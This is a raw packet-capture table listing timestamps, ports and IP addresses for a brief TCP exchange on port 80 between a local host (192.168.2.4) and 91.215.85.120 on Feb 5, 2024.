Feb 5, 2024 10:57:24.478250027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478257895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478270054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478277922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478288889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478297949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478307962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478327036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478344917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478352070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478352070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478352070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478363991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478374958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478385925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478396893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478404999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478416920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478425980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478435993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478446960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478462934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478462934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478466988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478486061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478497028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478503942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478518963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478528023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478533983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478545904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478550911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478564978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478570938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478585005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478589058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478604078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478607893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478621960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478625059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478641033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478658915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478663921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478663921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478679895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478683949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478698015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478702068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478718042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478719950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478739977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478756905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478759050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478776932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478791952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478796005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478809118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478815079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478837967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478842020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478856087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478859901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478876114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478882074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478898048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478899002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478916883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478916883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478935003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478939056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478955030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478960991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478974104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.478981972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.478992939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479001999 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479012012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479021072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479031086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479047060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479047060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479051113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479069948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479072094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479088068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479089975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479106903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479109049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479126930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479140043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479146004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479163885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479163885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479163885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479188919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479188919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479208946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479211092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479228020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479232073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479250908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479252100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479270935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479289055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479290962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479290962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479307890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479310989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479326963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479330063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479345083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479347944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479362965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479367018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479382038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479382038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479402065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479403019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479422092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479430914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479440928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479453087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479459047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479473114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479480982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479494095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479500055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479515076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479518890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479532003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479541063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479557991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479557991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479561090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479579926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479598045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479610920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479617119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479629993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479635954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479654074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479655027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479674101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479675055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479696035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479703903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479713917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479723930 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479732990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479743958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479753017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479765892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479765892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479773045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479794979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479811907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479820967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479820967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479829073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479849100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479850054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479866028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479867935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479887009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479887962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479907036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479913950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479926109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479937077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479944944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479959965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.479964972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479984999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.479979992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480005980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480005980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480005980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480026007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480026007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480043888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480050087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480062008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480078936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480078936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480081081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480098963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480099916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480122089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480123997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480140924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480140924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480159998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480170965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480189085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480197906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480206966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480222940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480222940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480226040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480242014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480245113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480263948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480264902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480283022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480283976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480300903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480305910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480320930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480323076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480339050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480341911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480360031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480360985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480380058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480380058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480400085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480417013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480423927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480423927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480437994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480443001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480458975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480475903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480484962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480484962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480494022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480504036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480515957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480524063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480535030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480542898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480554104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480559111 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480571032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480577946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480590105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480598927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480609894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480619907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480629921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480648994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480664015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480664015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480664015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480665922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480688095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480689049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480707884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480709076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480726957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480727911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480746031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480746984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480763912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480767965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480783939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480786085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480803013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480819941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480829954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480839014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480850935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480859041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480870008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480878115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480886936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480897903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480906963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480917931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480933905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480946064 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480946064 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.480952978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480973959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.480992079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481000900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481000900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481010914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481023073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481031895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481044054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481051922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481065989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481075048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481090069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481093884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481112003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481128931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481144905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481147051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481163979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481168985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481184959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481185913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481204033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481221914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481224060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481239080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481256962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481276035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481276989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481276035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481297016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481301069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481314898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481317997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481336117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481336117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481357098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481368065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481376886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481385946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481395960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481405973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481415987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481422901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481435061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481446981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481453896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481466055 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481476068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481486082 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481494904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481504917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481513023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481523991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481534004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481549978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481549978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481553078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481571913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481576920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481595993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481614113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481615067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481632948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481640100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481640100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.481653929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.481657982 CET	49735	80	192.168.2.4	91.215.85.120
